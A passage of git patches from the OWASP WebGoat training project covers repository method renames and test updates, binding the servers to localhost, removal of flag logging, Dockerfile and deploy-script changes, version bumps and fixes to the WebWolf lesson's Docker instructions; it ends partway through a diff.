@ResponseBody public List lessonOverview() { - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); AbstractLesson currentLesson = webSession.getCurrentLesson(); List result = Lists.newArrayList(); if ( currentLesson != null ) { diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java index 21c8c1f208..a014e11fb6 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/ReportCardService.java @@ -64,7 +64,7 @@ public class ReportCardService { @GetMapping(path = "/service/reportcard.mvc", produces = "application/json") @ResponseBody public ReportCard reportCard() { - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); List lessons = course.getLessons(); ReportCard reportCard = new ReportCard(); reportCard.setTotalNumberOfLessons(course.getTotalOfLessons()); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java b/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java index 4ea036996b..b207b4ce13 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java @@ -59,7 +59,7 @@ public void restartLesson() { AbstractLesson al = webSession.getCurrentLesson(); log.debug("Restarting lesson: " + al); - UserTracker userTracker = userTrackerRepository.findOne(webSession.getUserName()); + UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); userTracker.reset(al); userTrackerRepository.save(userTracker); } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java index 81d5d3b230..7d1d5d8599 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/LessonTracker.java @@ -47,8 +47,11 @@ */ @Entity public class LessonTracker { - @Getter + @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; + @Getter private String lessonName; @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private final Set solvedAssignments = Sets.newHashSet(); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java index aa8416d58f..0b77b89c61 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java @@ -38,7 +38,7 @@ public List getRankings() { List allUsers = userRepository.findAll(); List rankings = Lists.newArrayList(); for (WebGoatUser user : allUsers) { - UserTracker userTracker = userTrackerRepository.findOne(user.getUsername()); + UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername()); rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker))); } return rankings; diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java index 64ca5fb9a0..3cc8ce19c9 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTracker.java @@ -50,6 +50,8 @@ public class UserTracker { @Id + @GeneratedValue(strategy = GenerationType.AUTO) + private Long id; private String user; @OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER) private Set lessonTrackers = Sets.newHashSet(); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java index a322f9d8a0..efa231d59e 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserTrackerRepository.java @@ -8,5 +8,6 @@ */ public interface UserTrackerRepository extends JpaRepository { + UserTracker findByUser(String user); } diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/assignments/AssignmentEndpointTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/assignments/AssignmentEndpointTest.java index 1f9628fb07..dc0c7a4819 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/assignments/AssignmentEndpointTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/assignments/AssignmentEndpointTest.java @@ -62,7 +62,7 @@ public Locale getLocale() { public void init(AssignmentEndpoint a) { messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels"); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository); ReflectionTestUtils.setField(a, "userSessionData", userSessionData); ReflectionTestUtils.setField(a, "webSession", webSession); diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java index d71126d82e..196610274f 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonMenuServiceTest.java @@ -63,7 +63,7 @@ public void lessonsShouldBeOrdered() throws Exception { when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1, l2)); when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL)); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC)) .andExpect(status().isOk()) @@ -81,7 +81,7 @@ public void lessonCompleted() throws Exception { when(course.getLessons(any())).thenReturn(Lists.newArrayList(l1)); when(course.getCategories()).thenReturn(Lists.newArrayList(Category.ACCESS_CONTROL)); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); mockMvc.perform(MockMvcRequestBuilders.get(URL_LESSONMENU_MVC)) diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java index 2ca3e91690..cdab7c84f4 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/service/LessonProgressServiceTest.java @@ -72,7 +72,7 @@ public class LessonProgressServiceTest { @Before public void setup() { Assignment assignment = new Assignment("test", "test"); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); when(websession.getCurrentLesson()).thenReturn(lesson); when(lessonTracker.getLessonOverview()).thenReturn(Maps.newHashMap(assignment, true)); diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java index e1b6f639f0..9086741bab 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/service/ReportCardServiceTest.java @@ -53,7 +53,7 @@ public void withLessons() throws Exception { when(course.getTotalOfLessons()).thenReturn(1); when(course.getTotalOfAssignments()).thenReturn(10); when(course.getLessons()).thenReturn(Lists.newArrayList(lesson)); - when(userTrackerRepository.findOne(anyString())).thenReturn(userTracker); + when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker); when(userTracker.getLessonTracker(any(AbstractLesson.class))).thenReturn(lessonTracker); mockMvc.perform(MockMvcRequestBuilders.get("/service/reportcard.mvc")) .andExpect(status().isOk()) diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java index 5c8092c13e..142a6c8c7a 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/users/UserTrackerRepositoryTest.java @@ -62,7 +62,7 @@ public void saveUserTracker() { userTrackerRepository.save(userTracker); - userTracker = userTrackerRepository.findOne("test"); + userTracker = userTrackerRepository.findByUser("test"); Assertions.assertThat(userTracker.getLessonTracker("test")).isNotNull(); } @@ -77,7 +77,7 @@ public void solvedAssignmentsShouldBeSaved() { userTrackerRepository.saveAndFlush(userTracker); - userTracker = userTrackerRepository.findOne("test"); + userTracker = userTrackerRepository.findByUser("test"); Assertions.assertThat(userTracker.numberOfAssignmentsSolved()).isEqualTo(1); } @@ -90,7 +90,7 @@ public void saveAndLoadShouldHaveCorrectNumberOfAttemtps() { userTracker.assignmentFailed(lesson); userTrackerRepository.saveAndFlush(userTracker); - userTracker = userTrackerRepository.findOne("test"); + userTracker = userTrackerRepository.findByUser("test"); userTracker.assignmentFailed(lesson); userTracker.assignmentFailed(lesson); userTrackerRepository.saveAndFlush(userTracker); diff --git a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFLogin.java b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFLogin.java index 97edff2c11..122238bc14 100644 --- a/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFLogin.java +++ b/webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/plugin/CSRFLogin.java @@ -33,7 +33,7 @@ public AttackResult completed() { } private void markAssignmentSolvedWithRealUser(String username) { - UserTracker userTracker = userTrackerRepository.findOne(username); + UserTracker userTracker = userTrackerRepository.findByUser(username); userTracker.assignmentSolved(getWebSession().getCurrentLesson(), this.getClass().getSimpleName()); userTrackerRepository.save(userTracker); } From 98efc1235f9633272d8389d97d6051d7abbd43ca Mon Sep 17 00:00:00 2001 From: nbaars Date: Mon, 29 Jan 2018 15:32:02 +0100 Subject: [PATCH 15/76] By default binds to ALL network interfaces #431 --- webgoat-container/src/main/resources/application.properties | 1 + webwolf/src/main/resources/application.properties | 1 + 2 files changed, 2 insertions(+) diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index 3e13890510..440619b2dd 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -3,6 +3,7 @@ server.error.path=/error.html server.session.timeout=600 server.contextPath=/WebGoat server.port=8080 +server.address=127.0.0.1 spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webgoat spring.jpa.hibernate.ddl-auto=update diff --git a/webwolf/src/main/resources/application.properties b/webwolf/src/main/resources/application.properties index 0642853945..abc2a98e93 100644 --- a/webwolf/src/main/resources/application.properties +++ b/webwolf/src/main/resources/application.properties @@ -3,6 +3,7 @@ server.error.path=/error.html server.session.timeout=6000 #server.contextPath=/WebWolf server.port=8081 +server.address=127.0.0.1 server.session.cookie.name = WEBWOLFSESSION spring.datasource.url=jdbc:hsqldb:file:${webgoat.server.directory}/data/webwolf From 13a4b69cbecdba25500e961d48486709c5a24643 Mon Sep 17 00:00:00 2001 From: nbaars Date: Mon, 29 Jan 2018 15:43:19 +0100 Subject: [PATCH 16/76] All lesson flags are displayed while running webgoat 8.0 standalone java file #430 --- .../challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java | 1 - 1 file changed, 1 deletion(-) diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java index fe9d664665..7d5c859671 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java @@ -46,7 +46,6 @@ private class FlagPosted { @PostConstruct public void initFlags() { IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); - FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue())); } @Override From 2ae1b4955f89c4958e9264677a59255f09b22419 Mon Sep 17 00:00:00 2001 From: nbaars Date: Tue, 30 Jan 2018 07:18:05 +0100 Subject: [PATCH 17/76] By default binds to ALL network interfaces #431 Fix for Docker not binding to any address by default --- webgoat-server/Dockerfile | 15 ++++++++------- webgoat-server/start.sh | 3 --- webwolf/Dockerfile | 13 +++++++------ webwolf/start.sh | 3 --- 4 files changed, 15 insertions(+), 19 deletions(-) delete mode 100644 webgoat-server/start.sh delete mode 100644 webwolf/start.sh diff --git a/webgoat-server/Dockerfile b/webgoat-server/Dockerfile index 2f1b6f0fd6..e022e1a4ae 100644 --- a/webgoat-server/Dockerfile +++ b/webgoat-server/Dockerfile @@ -2,13 +2,14 @@ FROM openjdk:8-jre-slim ARG webgoat_version=8.0-SNAPSHOT -RUN useradd --home-dir /home/webgoat --create-home -U webgoat - -RUN apt-get update; apt-get install curl -y - -COPY start.sh /home/webgoat/start.sh -RUN chmod +x /home/webgoat/start.sh +RUN \ + apt-get update && apt-get install && \ + useradd --home-dir /home/webgoat --create-home -U webgoat && \ + cd /home/webgoat/; mkdir -p .webgoat USER webgoat -RUN cd /home/webgoat/; mkdir -p .webgoat COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar + +ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"] + +EXPOSE 8080 \ No newline at end of file diff --git a/webgoat-server/start.sh b/webgoat-server/start.sh deleted file mode 100644 index 491a89ef7a..0000000000 --- a/webgoat-server/start.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/sh - -java -jar -Djava.security.egd=file:/dev/./urandom /home/webgoat/webgoat.jar diff --git a/webwolf/Dockerfile b/webwolf/Dockerfile index 162fe5a2c2..a591b2ae53 100644 --- a/webwolf/Dockerfile +++ b/webwolf/Dockerfile @@ -2,12 +2,13 @@ FROM openjdk:8-jre-slim ARG webwolf_version=8.0-SNAPSHOT -RUN useradd --home-dir /home/webwolf --create-home -U webwolf - -RUN apt-get update; apt-get install curl -y - -COPY start.sh /home/webwolf/start.sh -RUN chmod +x /home/webwolf/start.sh +RUN \ + apt-get update && apt-get install && \ + useradd --home-dir /home/webwolf --create-home -U webwolf USER webwolf COPY target/webwolf-${webwolf_version}.jar /home/webwolf/webwolf.jar + +ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webwolf/webwolf.jar", "--server.address=0.0.0.0"] + +EXPOSE 8081 diff --git a/webwolf/start.sh b/webwolf/start.sh deleted file mode 100644 index 7462660684..0000000000 --- a/webwolf/start.sh +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/sh - -java -jar -Djava.security.egd=file:/dev/./urandom /home/webwolf/webwolf.jar From 58d4b81df28a523209251f3d85aa7dda0d0473b1 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 11 Apr 2018 20:22:19 +0200 Subject: [PATCH 18/76] Wrong image name mentioned in lesson for WebWolf --- scripts/deploy-webgoat.sh | 18 ++++++++++++++++++ .../lessonPlans/en/IntroductionWebWolf.adoc | 2 +- 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/scripts/deploy-webgoat.sh b/scripts/deploy-webgoat.sh index 652a0b9b03..b9562d0fa1 100644 --- a/scripts/deploy-webgoat.sh +++ b/scripts/deploy-webgoat.sh @@ -17,6 +17,24 @@ elif [ ! -z "${TRAVIS_TAG}" ]; then #elif [ "${BRANCH}" == "develop" ]; then # docker build -f Dockerfile -t $REPO:snapshot . # docker push $REPO +else + echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" +fi + + +export REPO=webgoat/webwolf +cd .. +cd webwolf +ls target/ + +if [ "${BRANCH}" == "master" ] && [ ! -z "${TRAVIS_TAG}" ]; then + # If we push a tag to master this will update the LATEST Docker image and tag with the version number + docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:latest -t $REPO:${TRAVIS_TAG} . + docker push $REPO +elif [ ! -z "${TRAVIS_TAG}" ]; then + # Creating a tag build we push it to Docker with that tag + docker build --build-arg webwolf_version=${TRAVIS_TAG:1} -f Dockerfile -t $REPO:${TRAVIS_TAG} -t $REPO:latest . + docker push $REPO else echo "Skipping releasing to DockerHub because it is a build of branch ${BRANCH}" fi \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc index 37ee96c81d..f48b27fb2b 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc @@ -23,7 +23,7 @@ java -jar webwolf-<>.jar WebWolf is also available as a Docker container: ``` -docker pull webwolf/webwolf-8.0 +docker pull webgoat/webwolf docker run -it 8081:8081 /home/webwolf/run.sh ``` From f30db3abfc7fb584d3f358372ee5b1c0116e32f7 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Wed, 11 Apr 2018 20:45:12 +0200 Subject: [PATCH 19/76] New version number --- pom.xml | 2 +- webgoat-container/pom.xml | 2 +- webgoat-lessons/auth-bypass/pom.xml | 2 +- webgoat-lessons/bypass-restrictions/pom.xml | 2 +- webgoat-lessons/challenge/pom.xml | 2 +- webgoat-lessons/client-side-filtering/pom.xml | 2 +- webgoat-lessons/cross-site-scripting/pom.xml | 2 +- webgoat-lessons/csrf/pom.xml | 2 +- webgoat-lessons/html-tampering/pom.xml | 2 +- webgoat-lessons/http-basics/pom.xml | 2 +- webgoat-lessons/http-proxies/pom.xml | 2 +- webgoat-lessons/idor/pom.xml | 2 +- webgoat-lessons/insecure-login/pom.xml | 2 +- webgoat-lessons/jwt/pom.xml | 2 +- webgoat-lessons/missing-function-ac/pom.xml | 2 +- webgoat-lessons/pom.xml | 4 ++-- webgoat-lessons/sql-injection/pom.xml | 2 +- webgoat-lessons/vulnerable-components/pom.xml | 2 +- webgoat-lessons/webgoat-introduction/pom.xml | 2 +- webgoat-lessons/webwolf-introduction/pom.xml | 2 +- webgoat-lessons/xxe/pom.xml | 2 +- webgoat-server/pom.xml | 2 +- webwolf/pom.xml | 2 +- 23 files changed, 24 insertions(+), 24 deletions(-) diff --git a/pom.xml b/pom.xml index 972af72c8d..9c45b3e677 100644 --- a/pom.xml +++ b/pom.xml @@ -5,7 +5,7 @@ org.owasp.webgoat webgoat-parent pom - 8.0.0.M3 + v8.0.0.M14 WebGoat Parent Pom Parent Pom for the WebGoat Project. A deliberately insecure Web Application diff --git a/webgoat-container/pom.xml b/webgoat-container/pom.xml index d9682cb57f..76f86c160a 100644 --- a/webgoat-container/pom.xml +++ b/webgoat-container/pom.xml @@ -10,7 +10,7 @@ org.owasp.webgoat webgoat-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/auth-bypass/pom.xml b/webgoat-lessons/auth-bypass/pom.xml index f0242337f1..22253bee4d 100644 --- a/webgoat-lessons/auth-bypass/pom.xml +++ b/webgoat-lessons/auth-bypass/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/bypass-restrictions/pom.xml b/webgoat-lessons/bypass-restrictions/pom.xml index 3d05db0608..8ae0f4f4c4 100755 --- a/webgoat-lessons/bypass-restrictions/pom.xml +++ b/webgoat-lessons/bypass-restrictions/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/challenge/pom.xml b/webgoat-lessons/challenge/pom.xml index a35c0b48a7..60639ca635 100644 --- a/webgoat-lessons/challenge/pom.xml +++ b/webgoat-lessons/challenge/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/client-side-filtering/pom.xml b/webgoat-lessons/client-side-filtering/pom.xml index 6c7af20ab4..95970426a6 100644 --- a/webgoat-lessons/client-side-filtering/pom.xml +++ b/webgoat-lessons/client-side-filtering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/cross-site-scripting/pom.xml b/webgoat-lessons/cross-site-scripting/pom.xml index e4612dbe33..71723d5b38 100644 --- a/webgoat-lessons/cross-site-scripting/pom.xml +++ b/webgoat-lessons/cross-site-scripting/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/csrf/pom.xml b/webgoat-lessons/csrf/pom.xml index f3486e80e0..fdc72d3f48 100644 --- a/webgoat-lessons/csrf/pom.xml +++ b/webgoat-lessons/csrf/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 \ No newline at end of file diff --git a/webgoat-lessons/html-tampering/pom.xml b/webgoat-lessons/html-tampering/pom.xml index 8c1bd0cc1d..f90a5c8620 100755 --- a/webgoat-lessons/html-tampering/pom.xml +++ b/webgoat-lessons/html-tampering/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/http-basics/pom.xml b/webgoat-lessons/http-basics/pom.xml index 8186c300a7..a77c8e0a05 100644 --- a/webgoat-lessons/http-basics/pom.xml +++ b/webgoat-lessons/http-basics/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/http-proxies/pom.xml b/webgoat-lessons/http-proxies/pom.xml index ac544a8f77..0c656a7ff4 100644 --- a/webgoat-lessons/http-proxies/pom.xml +++ b/webgoat-lessons/http-proxies/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/idor/pom.xml b/webgoat-lessons/idor/pom.xml index a4218f71f8..0dd3ab28fe 100644 --- a/webgoat-lessons/idor/pom.xml +++ b/webgoat-lessons/idor/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 \ No newline at end of file diff --git a/webgoat-lessons/insecure-login/pom.xml b/webgoat-lessons/insecure-login/pom.xml index b21689b142..4d4d9625c7 100755 --- a/webgoat-lessons/insecure-login/pom.xml +++ b/webgoat-lessons/insecure-login/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/jwt/pom.xml b/webgoat-lessons/jwt/pom.xml index f55f51d916..e03c3385ef 100644 --- a/webgoat-lessons/jwt/pom.xml +++ b/webgoat-lessons/jwt/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/missing-function-ac/pom.xml b/webgoat-lessons/missing-function-ac/pom.xml index cc0fbffd4c..71d667565f 100644 --- a/webgoat-lessons/missing-function-ac/pom.xml +++ b/webgoat-lessons/missing-function-ac/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index 5711263d33..fb6c018615 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -5,12 +5,12 @@ org.owasp.webgoat.lesson webgoat-lessons-parent pom - 8.0.0.M3 + v8.0.0.M14 org.owasp.webgoat webgoat-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/sql-injection/pom.xml b/webgoat-lessons/sql-injection/pom.xml index 37283bdd5e..676c9cc4ef 100644 --- a/webgoat-lessons/sql-injection/pom.xml +++ b/webgoat-lessons/sql-injection/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 \ No newline at end of file diff --git a/webgoat-lessons/vulnerable-components/pom.xml b/webgoat-lessons/vulnerable-components/pom.xml index fa63b8c60d..26f718269a 100644 --- a/webgoat-lessons/vulnerable-components/pom.xml +++ b/webgoat-lessons/vulnerable-components/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-lessons/webgoat-introduction/pom.xml b/webgoat-lessons/webgoat-introduction/pom.xml index e212125497..c4076cf17d 100644 --- a/webgoat-lessons/webgoat-introduction/pom.xml +++ b/webgoat-lessons/webgoat-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/pom.xml b/webgoat-lessons/webwolf-introduction/pom.xml index 395a2423f1..b55a6a0eb0 100644 --- a/webgoat-lessons/webwolf-introduction/pom.xml +++ b/webgoat-lessons/webwolf-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 \ No newline at end of file diff --git a/webgoat-lessons/xxe/pom.xml b/webgoat-lessons/xxe/pom.xml index 169b86501a..3ac778514c 100644 --- a/webgoat-lessons/xxe/pom.xml +++ b/webgoat-lessons/xxe/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index 6bec68abbe..e0449ece43 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - 8.0.0.M3 + v8.0.0.M14 diff --git a/webwolf/pom.xml b/webwolf/pom.xml index 6e2ade92b9..37126b0ba4 100644 --- a/webwolf/pom.xml +++ b/webwolf/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - 8.0.0.M3 + v8.0.0.M14 From 46fedf3764ef081d6dfcdcafa00c451ff830f8fd Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 23 Apr 2018 11:20:25 +0200 Subject: [PATCH 20/76] Fix for Docker command to start WebWolf --- .../src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc index f48b27fb2b..2de95e696f 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc @@ -24,7 +24,7 @@ WebWolf is also available as a Docker container: ``` docker pull webgoat/webwolf -docker run -it 8081:8081 /home/webwolf/run.sh +docker run -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh ``` This will start the application on port 8081, click webWolfLink:here[] to open WebWolf. From f4eb96fc6a2f08a59c84bfb213d3a8aeebb43f8c Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 23 Apr 2018 11:32:07 +0200 Subject: [PATCH 21/76] Add additional remark WebWolf should be running if interaction is necessary --- .../src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc index 2de95e696f..34940c37a4 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc @@ -1,7 +1,7 @@ == Introducing WebWolf NOTE: You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without -starting WebWolf. +starting WebWolf. If you need to do an exercise with WebWolf make sure it is running along side with WebGoat. WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to make a clear distinction between what takes place on the attacked website and the actions you need to do as From 672d78eebcc11e34b648e0ee8b00ef1987b2096e Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Mon, 23 Apr 2018 16:12:50 +0200 Subject: [PATCH 22/76] Resource bundle in UTF-8 --- .../src/main/java/org/owasp/webgoat/MvcConfiguration.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java b/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java index e52cff71ab..22f6fa99e5 100644 --- 